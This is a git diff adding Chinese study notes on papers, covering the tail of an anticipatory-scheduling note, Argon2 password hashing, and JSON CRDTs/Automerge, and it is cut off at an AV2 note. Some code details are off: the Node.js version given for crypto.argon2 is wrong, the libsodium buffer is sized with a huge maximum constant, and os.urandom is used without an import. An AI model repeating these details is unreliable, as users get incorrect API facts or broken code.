寻道,next 预期 1ms,alice 通常 think 2ms +stats = IoStats(median_think_ms=2.0, p95_think_ms=4.0) +wait = anticipatory_wait_ms(best_position_ms=8.0, next_position_ms=1.0, next_stats=stats) +print(f"wait {wait} ms") # Benefit=7 > Cost=2 → wait 4ms + +# 若 next 只比 best 省 1ms,则不等待 +wait2 = anticipatory_wait_ms(8.0, 7.0, stats) +print(f"wait {wait2} ms") # Benefit=1 < Cost=2 → 0 +``` + +把 `median` / `p95` 换成内核里衰减更新的 `ttime_mean`,就是 Linux AS 决策的简化版。 + +## 实验结果(论文摘要) + +作者在 **7200 RPM IDE** 与 **15000 RPM SCSI** 上测试: + +| 工作负载 | 观察 | +|---------|------| +| **Apache** 磁盘密集 | 吞吐 **+29%~+71%** | +| **Andrew 文件系统基准** | 整体 **+8%**,读密集阶段 **+54%** | +| **TPC-B 数据库** | **+2%~+60%**(视并发与同步程度) | +| **比例份额调度器** | 实际分配更接近合同份额 | + +微基准也显示:在「多进程同步读、局部性明显」时收益最大;纯随机读或设备已做深度重排时收益下降。 + +## 设计启示(今天仍有用) + +1. **调度器看到的队列 ≠ 应用的真实意图** —— 同步 API 把「未来请求」藏在 think time 里;任何 work-conserving 策略都可能误判。 +2. **非工作守恒是通用外壳** —— 不必重写 SCAN/CFQ,在外层加「何时 idle」即可;与日后 **CFQ slice_idle**、**mq-deadline** 调参思路一脉相承。 +3. **统计驱动比固定延迟聪明** —— 用 per-process think time 分布做 cost-benefit,比「一律 sleep 5ms」更稳。 +4. **硬件演进改变假设** —— NCQ/TCQ、NVMe 多队列、内核 **readahead** 与 **io_uring** 改变了「同步读」比例;AS 退出主线不代表思想过时,而是**场景迁移**。 + +## 与相关工作的对比 + +| 机制 | 做法 | 与预期调度的关系 | +|------|------|-----------------| +| **Readahead / 预读** | 内核推测性提前读 | 减少同步 read 次数,从数据源缓解 | +| **AIO / io_uring** | 应用一次提交多请求 | 队列深度↑,调度器「看得见」后续请求 | +| **CFQ** | 按进程时间片轮转 | `slice_idle` 可模拟预期等待 | +| **Tagging / NCQ** | 磁盘固件重排 | 与内核 idle 可能冲突,AS 在高速盘上吃亏 | + +## 小结 + +| 概念 | 一句话 | +|------|--------| +| **Deceptive idleness** | 进程在 think,调度器却以为它已停工 | +| **Anticipatory framework** | 完成一单后可有条件地短暂等待下一单 | +| **Cost-benefit** | 等的寻道收益 vs 磁盘空闲成本 | +| **Think time 统计** | median 估成本,p95 定等待上限 | +| **透明包装** | 底层调度策略无需修改 | + +**Anticipatory Scheduling** 教会我们:在操作系统里,**快不一定更好**——有时让磁盘「故意喘口气」,反而换来更少的磁头奔波和更公平的份额。读 Linux I/O 调度史、调 CFQ/Deadline,或分析数据库同步读瓶颈时,这篇 SOSP 2001 仍是理解 **「为什么内核愿意 idle」** 的经典起点。 + +## 延伸阅读 + +- Sitaram Iyer 博士论文:*The Effect of Deceptive Idleness on Disk Schedulers*(Rice, 2001) +- Linux 文档(历史):`Documentation/block/as-iosched.txt`(已随 AS 移除) +- **CFQ**:`block/cfq-iosched.c`,`slice_idle` sysctl 调参 +- 后续:**Stream scheduling framework**(FAST'11)将 Deadline 等非工作守恒化,可视为同一思想的扩展 diff --git a/src/content/docs/papers/argon2-2015.md b/src/content/docs/papers/argon2-2015.md new file mode 100644 index 000000000..850e62656 --- /dev/null +++ b/src/content/docs/papers/argon2-2015.md @@ -0,0 +1,289 @@ +--- +title: Argon2 (2015) — 为密码哈希而生的内存困难函数 +来源: https://password-hashing.net/argon2-specs.pdf +日期: 2026-06-13 +子分类: 安全与隐私 +分类: 安全与隐私 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Argon2** 是 Alex Biryukov、Daniel Dinu、Dmitry Khovratovich(卢森堡大学)在 **2015 年 Password Hashing Competition(PHC)** 中胜出的**内存困难(memory-hard)**密码哈希 / 密钥派生函数。原始论文与参考实现见 [password-hashing.net](https://password-hashing.net/);互联网标准形态是 IETF **RFC 9106**(2021,对应算法版本 **1.3**,版本字节 `0x13`)。 + +日常类比: + +> 把「猜密码」想成在仓库里找一把钥匙。 +> - **MD5 / SHA-256 直接哈希**:像把钥匙编号刻在门牌上——GPU 可以**同时试几百万块门牌**,几乎不占场地。 +> - **PBKDF2**:规定你必须在跑步机上原地跑 **10 万圈** 才能试一次——CPU 会累,但攻击者买一万台跑步机也能并行,**几乎不需要仓库**。 +> - **bcrypt**:每人要占一小块固定工位,稍好一点,但现代 GPU 仍能把工位缩得很小。 +> - **Argon2**:规定每次尝试必须**租下整整 64 MiB~2 GiB 的仓库**,并在里面按规则搬货、搅拌(多轮读写大块内存)。攻击者若把仓库缩成「小货架」省租金,搅拌规则会逼他**反复跑远路**,时间-内存权衡(TMTO)不划算。 +> +> 因此 Argon2 的目标不是「算得慢」这么简单,而是让**并行暴力破解同时吃满时间和内存带宽**——专用 ASIC / GPU 很难在不大买内存的前提下把成本压下去。 + +一句话:**Argon2 = 可调内存 + 可调时间 + 可调并行度 的密码学慢哈希**;默认应选混合变体 **Argon2id**。 + +## 为什么重要 + +不理解 Argon2,现代「存密码」实践会停留在过时方案: + +- **libsodium**、**PHP 7.2+**、**Ruby 2.5+**、**Ente / Bitwarden 等客户端** 已把 Argon2id 作为 PBKDF2 之外的推荐选项 +- **OWASP** 密码存储备忘录取代 bcrypt/scrypt 时优先 Argon2id +- **RFC 9106** 规定任何合规实现 **MUST 支持 Argon2id**;不知道选哪种时直接用 Argon2id +- 与 [[hkdf-rfc5869]] 的关系:HKDF 适合从**已有均匀随机**材料扩展密钥;**用户口令**熵低、易被字典攻击,必须先过 Argon2 这类慢哈希,不能单独用 HKDF + +PHC 举办背景是:2010 年代 GPU 农场让 bcrypt、PBKDF2-HMAC-SHA256 的「迭代次数」防御迅速贬值;**scrypt** 率先提出内存成本,但 Argon2 在相同内存下填充率更高、并行模型更清晰、侧信道与 TMTO 权衡有**三种显式变体**可选。 + +## 三种变体 + +| 变体 | 内存访问模式 | 擅长 | 弱点 / 适用场景 | +|------|----------------|------|------------------| +| **Argon2d** | **数据依赖**(下一块读哪里由当前块内容决定) | 抗 TMTO 最强;适合 PoW、链上挖矿 | 访问模式泄露给旁路计时攻击;**不适合**多租户登录服务 | +| **Argon2i** | **数据独立**(地址只由索引算出来) | 抗侧信道;适合口令哈希 | 为换 TMTO 抗性要多做 passes | +| **Argon2id** | 第 1 pass 前半段像 Argon2i,其余像 Argon2d | **默认推荐**:兼顾侧信道与 TMTO | 实现略复杂 | + +RFC 9106 原话:若不懂区别或担心侧信道,选 **Argon2id**。 + +## 核心概念 + +### 1. 输入参数一览 + +规范(RFC 9106 §3.1)用符号定义了一组「旋钮」: + +| 符号 | 名称 | 含义 | 典型取值 | +|------|------|------|----------| +| **P** | password | 用户口令(≤ 2³²−1 字节) | UTF-8 编码的字符串 | +| **S** | salt | 盐(**每个密码唯一**;推荐 **16 字节**) | `os.urandom(16)` | +| **p** | parallelism | 并行 **lane** 数(1 … 2²⁴−1) | RFC 推荐从 **p = 4** 起调 | +| **m** | memory | 内存 **KiB**(≥ 8p,≤ 2³²−1) | `2^21` = **2 GiB**(首选)或 `2^16` = **64 MiB**(低内存) | +| **t** | iterations | **passes** 轮数(≥ 1) | 首选 **t = 1**(2 GiB 时);低内存时常用 **t = 3** | +| **T** | tag length | 输出长度(4 … 2³²−1 字节) | 密码哈希 **32** 字节足够;KDF 可更长 | +| **v** | version | 算法版本 | 固定 **0x13**(19) | +| **y** | type | 0 = d,1 = i,2 = **id** | 密码场景用 **2** | +| **K** | secret | 可选秘密(pepper) | 常为空;有则须安全存储 | +| **X** | associated data | 可选绑定上下文 | 如 `user-id`、算法 ID | + +实际库里看到的 `memory_cost`、`time_cost`、`parallelism` 就是 **m / t / p** 的别名。 + +### 2. 算法在做什么(直觉版) + +内部用 **BLAKE2b** 做可变长哈希 **H'**,用基于 BLAKE2b 的压缩函数 **G**(1024 字节进、1024 字节出)搅拌数据。 + +```text +1. 把所有参数 || P || S || K || X 哈希成 64 字节种子 H_0 +2. 分配 m' 个 1024 字节块,排成 p 条 lane × q 列的矩阵 B[i][j] +3. 初始化每 lane 前两列 +4. 按 slice 顺序填充其余块: + B[i][j] = G( B[i][j-1], B[l][z] ) + 其中 (l,z) 由变体 y 与索引 (i,j) 决定 —— d 依赖数据,i 只依赖位置 +5. 若 t > 1:重复多 pass,并与旧块 XOR 混合 +6. 最后一列 XOR 成块 C,输出 tag = H'^T(C) +``` + +要点: + +- **内存是主角**:块大(1 KiB)、总量可达 GiB 级,迫使实现真的去 touch RAM,而不是只在 L1/L2 里打转。 +- **p 条 lane** 可在多核上并行,但 pass 内 slice 有同步点——兼顾多核服务器与单用户延迟。 +- **盐 S** 不保密,但必须**随机且 per-password**,挡住彩虹表。 + +### 3. 内存困难(memory-hard)是什么意思 + +攻击者想每秒试 100 万次密码: + +- 对 PBKDF2:主要成本是 ALU 周期,GPU 有海量核心。 +- 对 Argon2(m = 64 MiB):每次尝试至少要能装下 64 MiB 状态;8 GiB 显卡**并行度上限约 128**,而不是百万。 + +这不是说 Argon2 能拯救弱口令(`123456` 仍在字典里),而是把**离线破解**从「买算力」变成「买算力 + 买内存 + 付带宽」。 + +### 4. RFC 9106 推荐参数(可直接抄作业) + +**首选(内存够用时)—— FIRST RECOMMENDED:** + +- Argon2id,**t = 1**,**p = 4**,**m = 2²¹ KiB(2 GiB)**,盐 **128 bit**,输出 **256 bit** + +**低内存统一安全选项—— SECOND RECOMMENDED:** + +- Argon2id,**t = 3**,**p = 4**,**m = 2¹⁶ KiB(64 MiB)**,盐 128 bit,输出 256 bit + +场景化建议(同一 RFC §4): + +| 场景 | 目标延迟 | 建议 | +|------|----------|------| +| 前端登录(2 GHz,2 核) | ~0.5 s | Argon2id,4 lanes,**1 GiB** | +| 后端登录(2 GHz,4 核) | ~0.5 s | Argon2id,8 lanes,**4 GiB** | +| 磁盘加密 KDF | ~3 s | Argon2id,4 lanes,**6 GiB** | +| 加密货币 PoW | ~0.1 s | Argon2**d**,2 lanes,**250 MB** | + +调参流程:先定 **y = Argon2id** → **p = 4** → 在可接受延迟内尽量**增大 m** → 再增大 **t**。 + +### 5. 编码字符串(PHC 格式) + +库常输出可入库的一条 ASCII,例如: + +```text +$argon2id$v=19$m=65536,t=3,p=4$$ +``` + +验证时解析 `v、m、t、p、salt`,对候选口令重算 tag,用**常量时间比较**(`crypto.timingSafeEqual` / `sodium_memcmp`)。 + +## 代码示例 + +### 示例 1:Python(argon2-cffi)— 哈希与验证 + +```python +# pip install argon2-cffi +from argon2 import PasswordHasher +from argon2.low_level import Type, hash_secret_raw + +# 高层 API:默认即 Argon2id,参数可覆盖 +ph = PasswordHasher( + time_cost=3, # t + memory_cost=65536, # m,单位 KiB → 64 MiB + parallelism=4, # p + hash_len=32, + salt_len=16, +) + +password = "correct horse battery staple" +encoded = ph.hash(password) +# 形如: $argon2id$v=19$m=65536,t=3,p=4$... + +ph.verify(encoded, password) # 成功则无异常 +# ph.verify(encoded, "wrong") # VerifyMismatchError + +# 低层 API:自己管 salt,输出原始 tag(适合 KDF) +salt = os.urandom(16) # import os +tag = hash_secret_raw( + secret=password.encode(), + salt=salt, + time_cost=3, + memory_cost=65536, + parallelism=4, + hash_len=32, + type=Type.ID, +) +# tag 为 32 字节,可再喂给 HKDF 等 +``` + +### 示例 2:Node.js(内置 `crypto`)— RFC 9106 首选参数 + +Node.js 15+ 提供 `crypto.argon2`(OpenSSL 3 后端,视构建选项可能需 `--experimental` 标志;生产环境也可用 `argon2` npm 包,API 类似)。 + +```javascript +import { randomBytes, argon2, timingSafeEqual } from "node:crypto"; +import { promisify } from "node:util"; + +const argon2Async = promisify(argon2); + +async function hashPassword(password) { + const salt = randomBytes(16); + const tag = await argon2Async("argon2id", { + message: Buffer.from(password, "utf8"), + nonce: salt, + parallelism: 4, + tagLength: 32, + memory: 1 << 21, // 2 GiB(KiB 单位),内存紧张可改为 65536 + passes: 1, + secret: Buffer.alloc(0), + associated: Buffer.alloc(0), + }); + return { salt, tag }; // 入库时保存 salt + tag(或 PHC 字符串) +} + +async function verifyPassword(password, salt, expectedTag) { + const tag = await argon2Async("argon2id", { + message: Buffer.from(password, "utf8"), + nonce: salt, + parallelism: 4, + tagLength: 32, + memory: 1 << 21, + passes: 1, + secret: Buffer.alloc(0), + associated: Buffer.alloc(0), + }); + return timingSafeEqual(tag, expectedTag); +} +``` + +### 示例 3:libsodium 风格(伪代码,与 Ente 等客户端一致) + +许多移动端用 libsodium 的 `crypto_pwhash`: + +```c +#define OPSLIMIT crypto_pwhash_OPSLIMIT_MODERATE +#define MEMLIMIT crypto_pwhash_MEMLIMIT_MODERATE // 或显式 64MB / 2GB + +unsigned char hash[crypto_pwhash_BYTES_MAX]; +unsigned char salt[crypto_pwhash_SALTBYTES]; + +randombytes_buf(salt, sizeof salt); + +if (crypto_pwhash(hash, sizeof hash, + password, password_len, + salt, + OPSLIMIT, MEMLIMIT, + crypto_pwhash_ALG_ARGON2ID13) != 0) { + /* 内存不足 */ +} +``` + +算法标识 `ARGON2ID13` 即 **Argon2id v1.3**,与 RFC 9106 一致。 + +## 与其他 KDF 对比 + +| 方案 | 内存成本 | 侧信道友好 | 标准化 | 备注 | +|------|----------|------------|--------|------| +| PBKDF2-HMAC-SHA256 | 极低 | 一般 | PKCS#5 / RFC 8018 | 仍常见于 JWT、旧系统;GPU 友好 | +| bcrypt | 低(~4 KiB 级) | 较好 | de-facto | 密码限 72 字节;PHC 时代偏旧 | +| scrypt | 高(可调) | 较好 | RFC 7914 | PHC 亚军级;Argon2 往往更高内存填充率 | +| **Argon2id** | **高(可调)** | **好** | **RFC 9106** | **当前默认推荐** | + +## 实现与运维注意事项 + +1. **盐必须唯一**:相同密码 + 相同盐 → 相同哈希;数据库泄露后彩虹表仍有用。每个用户、每次改密都应新盐。 +2. **pepper(密钥 K)**:可选的全局秘密,放 HSM / KMS 而非数据库;丢了 pepper 所有密码需重哈希。 +3. **常量时间比较**:验证 tag 时禁止提前 `break` 的字符串比较。 +4. **内存失败**:移动设备上 m 过大时 `crypto_pwhash` 可能返回 -1;应降级到 SECOND RECOMMENDED 或排队到服务端算。 +5. **版本钉死**:只接受 `v=19`(0x13);未来若 PHC 格式扩展,旧哈希应仍能验证。 +6. **side-channel**:共享主机上优先 Argon2id;若极度担心冷启动 / 计时,启用库提供的 **memory wipe**,并限制并行登录线程争用同一物理机。 +7. **不要自己实现 G / H'**:用审计过的库(libsodium、argon2-cffi、ring、标准 OpenSSL)。密码学原语实现错误比参数选错更致命。 + +## 安全目标(读论文可深入) + +RFC 9106 §7 讨论了几类威胁: + +- **在线猜测**:Argon2 帮不上忙——限速、MFA、锁定策略才是主力。 +- **离线字典 / 暴力**:Argon2 通过 m、t、p 拉高每次猜测成本。 +- **TMTO**:Argon2d / Argon2id 后半段针对「少占内存、多算时间」的权衡;Argon2i 靠增加 t 补偿。 +- **侧信道**:Argon2i / Argon2id 前半段用数据独立索引,减轻缓存计时泄露。 + +Argon2i 经验法则:passes **t** 应大于 **log₂(m) − 26**(m 以 KiB 计),否则 TMTO 可能过划算——实现者调低内存时要同步加 t。 + +## 常见误区 + +| 误区 | 事实 | +|------|------| +| 「Argon2 比 SHA-256 安全」 | 用途不同;SHA-256 是快哈希,Argon2 是**故意慢**的口令拉伸 | +| 「内存越大越好,t 永远是 1」 | 要在**可接受登录延迟**内平衡;移动端 2 GiB 不现实 | +| 「用 Argon2d 登录更快更安全」 | 多租户服务器上 Argon2d 可能泄露访问模式,应用 **Argon2id** | +| 「哈希完还能用 HKDF 扩密钥」 | 可以:Argon2 输出高熵 secret 后,再用 [[hkdf-rfc5869]] 按上下文切分 | +| 「把迭代调到 100 就够用」 | 只看 t 不看 m,GPU 仍舒服;**先拉 m 再拉 t** | + +## 与周边知识 + +- **PHC(2013–2015)**:公开征集、透明评审,Argon2 击败 yescrypt、Makwa、Catena 等 +- **BLAKE2b**:Argon2 内部哈希与压缩的基础(见 [[blake2-2013]] 若仓库有笔记) +- **RFC 9106 测试向量**:实现 Argon2d/i/id 时应用 §5 向量做回归;首块/末块中间值便于调试 +- **Java**:JEP 草案在 `SunJCE` 提供 Argon2id `KDF` SPI,与 RFC 9106 对齐 + +## 小结 + +Argon2 解决的是:**攻击者离线批量试密码时,如何同时烧时间、烧内存、还能在多核服务器上可调**。记住四件事就够上手: + +1. 密码存储默认 **Argon2id + 随机 16 字节盐** +2. 参数优先抄 RFC **FIRST / SECOND RECOMMENDED**,再按延迟微调 +3. 验证用库函数 + **常量时间比较** +4. 弱口令仍会输——Argon2 是**抬高破解成本**,不是替代用户教育或 MFA + +原始论文标题即 *Argon2: the memory-hard function for password hashing and other applications*;读懂「内存困难 + 三变体 + 旋钮 m/t/p」,就掌握了 2015 年以来现代密码哈希的主线设计。 diff --git a/src/content/docs/papers/automerge-json-crdt-2017.md b/src/content/docs/papers/automerge-json-crdt-2017.md new file mode 100644 index 000000000..8c8a81fb2 --- /dev/null +++ b/src/content/docs/papers/automerge-json-crdt-2017.md @@ -0,0 +1,265 @@ +--- +title: A Conflict-Free Replicated JSON Datatype — 零基础学习笔记 +来源: https://arxiv.org/abs/1608.03960 +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:共享购物清单,而不是抢遥控器 + +你和室友维护同一份 JSON 购物清单:`{ "grocery": ["牛奶", "鸡蛋"] }`。你在地铁里离线加了一行「面包」,他在公司同时把 `grocery` 整个清空再写入「火腿」。传统「最后写入者赢」(Last Writer Wins)像**抢遥控器**:谁最后按保存,谁覆盖全场——另一个人的改动无声消失。 + +这篇 2017 年 IEEE TPDS 论文(作者 Martin Kleppmann、Alastair R. Beresford,arXiv 预印本 [1608.03960](https://arxiv.org/abs/1608.03960))提出的是另一种思路:**把合并规则写进数据结构本身**。每台设备本地随便改,改完把「操作」异步发给其他副本;网络可以乱序、重复、延迟,只要消息最终都能送达,所有副本会**自动收敛到同一棵 JSON 树**——这就是 CRDT(Conflict-Free Replicated Data Type,无冲突可复制数据类型)。 + +论文后来催生了 **Automerge** 库(Kleppmann 参与创建)。需要区分:Automerge 受这篇论文启发,但内部算法为性能做了大量改写;README 明确说与论文算法**并不相同**。学论文重在理解**嵌套 JSON 的 CRDT 语义**;写产品时再对照 [[yjs-crdt-overview]]、[[crdt-json]] 和 Automerge 文档。 + +## 论文解决什么问题 + +许多应用用 JSON 存状态:待办、通讯录、密码库、协同白板元数据。单机顺序修改语义清晰;**多副本并发修改**时却缺少通用答案: + +| 传统做法 | 问题 | +|----------|------| +| 数据库串行化 | 弱网/离线时应用几乎不可用 | +| Last Writer Wins | 并发写会**丢数据** | +| 弹窗让用户选 | 繁琐、易错 | +| 各应用自写合并逻辑 | 难证明正确、难复用 | + +论文贡献:给出**可嵌套任意深度**的 JSON CRDT——map、list、register 可组合;支持插入、删除、赋值;在客户端完成合并,**不依赖网络全序**;适合 P2P、端到端加密消息、移动弱网。附录证明**强最终一致性**(strong eventual consistency):副本间两两合并结果与合并顺序无关。 + +## JSON 数据模型(论文视角) + +论文把 JSON 看成一棵**可变树**: + +- **Map(对象)**:子节点无序;key 不可变,value 可变;可增删键。 +- **List(数组)**:子节点有**应用定义的顺序**;可插入、删除元素。 +- **Leaf(叶子)**:string / number / boolean / null;视为**不可变原语**,修改 = 给 register 赋新值。 + +与 XML 的关键区别:JSON 允许 **list 嵌在 map 里、map 嵌在 list 里**;XML 属性只能是标量,无法表达论文 Figure 3、Figure 5 那类「同一 key 下并发创建不同类型子树」的场景。 + +文本协同编辑在论文里很自然:把文档建模为**字符 list**,每次键入 = `insertAfter`,删除 = `delete`(见论文 Figure 4)。 + +## 三条设计原则 + +论文 Section 1.2 明确三条原则,后文所有奇怪合并行为都由此推导: + +1. **强最终一致性**:任意并发修改后,所有副本最终状态相同。 +2. **不丢用户输入**:并发写尽量都保留(与 LWW 对立)。 +3. **可交换性**:若一组更新按任意顺序串行执行结果相同,则并发执行也应相同。 + +## 架构:操作在本地产生,在网络上传播 + +```mermaid +flowchart LR + subgraph 设备P + PAPP[应用 / UI] + PCAP[命令 API] + POPS[操作队列] + PREP[本地副本 Ap] + PAPP --> PCAP + PCAP --> POPS + PCAP --> PREP + end + + subgraph 设备Q + QAPP[应用] + QCAP[命令 API] + QOPS[操作队列] + QREP[本地副本 Aq] + QAPP --> QCAP + QCAP --> QOPS + QCAP --> QREP + end + + POPS <-->|异步消息 可乱序| QOPS + POPS -->|apply| QREP + QOPS -->|apply| PREP +``` + +论文假设网络只保证**最终送达**(可重试),允许延迟、乱序、重复。没有中心服务器做 OT 变换;`yield` 命令模型化「把本地操作广播给其他副本」。 + +## 核心概念 + +### 1. 命令语言(Figure 7)——不是完整编程语言,是 CRDT 的「光标 API」 + +| 构造 | 含义 | +|------|------| +| `doc` | 文档根 | +| `expr.get(key)` | 进入 map 的某个 key | +| `expr.idx(i)` | 进入 list 的第 i 个元素;`idx(0)` = 表头虚拟位置 | +| `expr := value` | 给 register 赋值 | +| `expr.insertAfter(value)` | 在光标所指 list 元素**之后**插入 | +| `expr.delete` | 删除 map 键或 list 元素 | +| `let x = expr` | 保存**光标**(按元素身份,不是整数下标) | +| `expr.keys` / `expr.values` | 读 map 的键集 / register 的多值集合 | + +**光标按身份定位**:Figure 8 购物列表示例里,先 `insertAfter("eggs")` 得到变量 `eggs` 指向该元素;再在表头插入 `cheese` 后,`eggs` 的下标从 1 变成 2,但 `eggs.insertAfter("milk")` 仍插在 eggs **后面**——这对并发编辑至关重要(整数下标在并发插入时会漂移)。 + +### 2. Multi-Value Register(多值寄存器) + +两人同时写同一叶子字段: + +``` +p: doc.get("key") := "B" +q: doc.get("key") := "C" +合并后读: doc.get("key").values => {"B", "C"} +``` + +字符串无法自动「语义合并」,所以**两个值都保留**,由应用层决定展示策略(例如取最新时间戳、或让用户选)。这比 Cassandra 式 LWW 安全,因为不会静默丢弃一方输入。数字可换成 **counter CRDT**;可编辑字符串可换成 **字符 list CRDT**(Figure 4)。 + +### 3. 嵌套 Map 的「清空 vs 子键写入」(Figure 2) + +``` +p: 在 colors.red 写入 "#ff0000" +q: colors := {} 再 colors.green := "#00ff00" +``` + +若「高层覆盖总赢」,red 会被丢掉,违反原则 2。论文语义:**清空 map 会删掉当时存在的键(如 blue)**;但并发在子层新加的 red、green **仍保留**。行为与 Riak 嵌套 map CRDT 一致。 + +### 4. 同一 Map Key 的并发创建(Figure 3) + +两人都在离线状态下执行 `doc.get("grocery") := []` 并各自插入: + +``` +p: ["eggs", "ham"] +q: ["milk", "flour"] +合并: ["eggs", "ham", "milk", "flour"] (或另一合法全序,但所有副本一致) +``` + +两个 list **可自动合并**;各副本内部相对顺序保留(ham 紧跟 eggs)。跨副本谁先谁后论文允许任意但确定的选择。 + +### 5. 类型标签:mapT / listT / regT(Figure 5) + +同一 key 并发赋不同类型: + +``` +p: doc.get("a") := {} 再写 a.x := "y" → 嵌套 map +q: doc.get("a") := [] 再插入 "z" → list +``` + +map 与 list **无法语义合并**,于是 key `a` 下并存 `mapT("a")` 与 `listT("a")` 两个命名空间——读时要带类型。这是「不丢输入」与「单一 JSON 值」之间的诚实折中。 + +### 6. Ordered List CRDT(RGA 家族) + +论文 list 基于文献中的有序 list CRDT(如 RGA、LSEQ 等),每个插入操作带**唯一 id**,删除用 **tombstone** 标记而非物理抹除,以便并发 `insertAfter(已删元素)` 仍有锚点。Figure 4 展示了并发删 `b`、插 `x`/`y`/`z` 后所有字符都出现在最终文档中的合并结果。 + +### 7. 已知局限(Figure 6) + +Replica p 删除 todo 某项,Replica q 同时把该项 `done := true`。合并后可能出现**只有 `done: true`、没有 `title` 的幽灵项**——因为子字段更新与父 list 删除在不同层级并发,论文选择保留所有操作痕迹。作者指出:若应用有隐式 schema(todo 必有 title),可能需要 schema 感知的合并或丢弃一侧更新——**留给后续工作**。 + +## 代码示例 1:用论文命令语义手搓购物清单 + +下面用 JavaScript **模拟论文 Figure 8** 的命令序列(非 Automerge API,重在理解语义): + +```javascript +// 伪代码:每个 insertAfter 生成带唯一 opId 的操作,光标绑定 opId 而非下标 +const doc = makeEmptyJsonCrdt() + +let head = doc.get('shopping').idx(0) // 空 list 的表头 +head.insertAfter('eggs') +const eggs = doc.get('shopping').idx(1) // 光标指向 opId(eggs) + +head.insertAfter('cheese') // cheese 插到表头 +eggs.insertAfter('milk') // 仍插在 eggs 后,尽管 eggs 下标已变 + +console.log(doc.toJSON()) +// => { shopping: ['cheese', 'eggs', 'milk'] } +``` + +要点:**永远用稳定元素 id 当光标**,不要用「第 2 个下标」这种会在并发下失效的坐标。现代 Yjs `Y.Array`、Automerge 的 list 内部都遵循同一思想。 + +## 代码示例 2:双副本离线合并 multi-value register + +模拟 Figure 1:两设备并发改同一字段,再交换操作日志。 + +```javascript +// 简化教学模型:操作 = { lamport, replicaId, path, op, value } +function applyOps(state, ops) { + for (const op of [...ops].sort((a, b) => + a.lamport - b.lamport || a.replicaId.localeCompare(b.replicaId) + )) { + if (op.op === 'assign') { + const cell = state.getOrCreateRegister(op.path) + cell.add(op.value, op.lamport, op.replicaId) // multi-value:不覆盖,只追加并发写 + } + } + return state +} + +const opP = { lamport: 2, replicaId: 'p', path: ['key'], op: 'assign', value: 'B' } +const opQ = { lamport: 2, replicaId: 'q', path: ['key'], op: 'assign', value: 'C' } + +const replicaP = applyOps(emptyDoc({ key: 'A' }), [opP]) +const replicaQ = applyOps(emptyDoc({ key: 'A' }), [opQ]) + +// 交换:各应用对方全部操作 +const mergedOnP = applyOps(replicaP, [opQ]) +const mergedOnQ = applyOps(replicaQ, [opP]) + +console.log(mergedOnP.readRegister(['key'])) // Set { 'B', 'C' } +console.log(mergedOnQ.readRegister(['key'])) // Set { 'B', 'C' } — 与顺序无关 +``` + +真实 Automerge / 论文实现还会附带**因果依赖**(vector clock / dot clock),这里用 Lamport 时间戳 + replicaId 字典序做全序,足以说明「并发赋值 → 多值集合 → 副本一致」。 + +## 代码示例 3:用 Automerge 感受「JSON 式 CRDT」产品 API + +生产环境应使用 [Automerge](https://github.com/automerge/automerge)(算法与论文有差异,但体验最接近「可合并的 JSON」): + +```javascript +import * as Automerge from '@automerge/automerge' + +let docA = Automerge.init() +docA = Automerge.change(docA, d => { d.title = 'Hello A' }) + +let docB = Automerge.init() +docB = Automerge.change(docB, d => { d.title = 'Hello B' }) + +// 合并:无需中心服务器,顺序无关 +const merged1 = Automerge.merge(docA, docB) +const merged2 = Automerge.merge(docB, docA) +// merged1 与 merged2 深度相等 + +console.log(Automerge.getHistory(merged1).length) // 可审计每次 change +``` + +若同一字段并发写产生冲突,Automerge 会保留冲突信息供应用读取(具体 API 随版本演变);论文则用 multi-value register 在类型层面显式表达「多个并发值」。 + +## 与 OT、其他 CRDT 的对比 + +| 维度 | OT(Google Docs 类) | 平坦 CRDT(Riak 等) | 本篇 JSON CRDT | +|------|----------------------|----------------------|----------------| +| 嵌套 map+list | 需中心服务器(多数部署) | map 可嵌套,list 难与 JSON 对齐 | 任意嵌套 | +| 网络要求 | 常需全序广播 | 视类型而定 | 仅最终送达 | +| 离线编辑 | 困难 | 部分支持 | 原生支持 | +| 冲突语义 | 变换函数保证收敛 | 单类型成熟 | 组合证明 + multi-value | +| 字符串协同 | OT 主流 | 需字符 list | 建模为 list | + +## 适用场景 + +**适合**: + +- 离线优先笔记、待办、通讯录(原则 2:尽量不丢编辑) +- P2P 或 E2E 加密同步(无中心序) +- 需要 JSON 形状、又不想写 ad-hoc 合并的 local-first 应用 +- 研究嵌套 CRDT 组合与形式化语义 + +**不太适合**: + +- 银行账户、库存扣减等需要**全局不变式 + 拒绝并发**的领域(用事务 / 共识,不是 CRDT) +- 超大单字段频繁覆盖(multi-value 与元数据开销) +- 要求「并发写同一标量必须自动选一个赢家、且不能暴露多值」且不愿写应用策略的产品 + +## 读后带走的三句话 + +1. **JSON 协同难在嵌套**:不是 list CRDT 或 map CRDT 单独难,而是 map 里并发清空、子层并发写入、同 key 并发建不同类型子树——组合后仍要证明收敛。 +2. **不丢输入 ≠ 不制造尴尬状态**:Figure 6 的「无标题已完成 todo」说明 CRDT 语义诚实,schema 约束要额外一层。 +3. **论文是语义与证明,库是工程**:Automerge、Yjs、Loro 等在压缩、垃圾回收、字符串 CRDT 上走得更远;读论文建立「合并应发生什么」的直觉,读库解决「怎么快」。 + +## 延伸阅读 + +- 论文正式版:[IEEE TPDS 28(10), 2017](https://doi.org/10.1109/TPDS.2017.2697382),作者页 [Martin Kleppmann](https://martin.kleppmann.com/2017/04/24/json-crdt.html) +- 本书仓库:[[crdt-json]](同主题短笔记)、[[yjs-crdt-overview]](工业级 JS CRDT)、[[eg-walker-collab-text-2024]](文本 CRDT 新进展) +- 背景:Kleppmann《Designing Data-Intensive Applications》第 9 章(复制与一致性) +- 生态:[Automerge](https://automerge.org/)、[crdt.tech](https://crdt.tech/) diff --git a/src/content/docs/papers/av2-video-spec.md b/src/content/docs/papers/av2-video-spec.md new file mode 100644 index 000000000..d7723709f --- /dev/null +++ b/src/content/docs/papers/av2-video-spec.md @@ -0,0 +1,389 @@ +--- +title: AV2 Video Standard v1.0 — 下一代免版税视频编码零基础学习笔记 +来源: https://en.wikipedia.org/wiki/AV2 +日期: 2026-06-13 +子分类: 音视频媒体 +分类: 通信 +provenance: pipeline-v3 +--- + +## 从日常类比开始:行李箱打包术 2.0 + +想象你要把一整季衣服寄给远方的朋友。视频编码干的事,本质上就是**把巨大的原始画面「打包」成更小的包裹**,让对方收到后能**原样还原**。 + +- **未压缩视频**:每件衣服单独挂袋、塞满气泡膜——体积巨大,4K 一分钟就要好几 GB。 +- 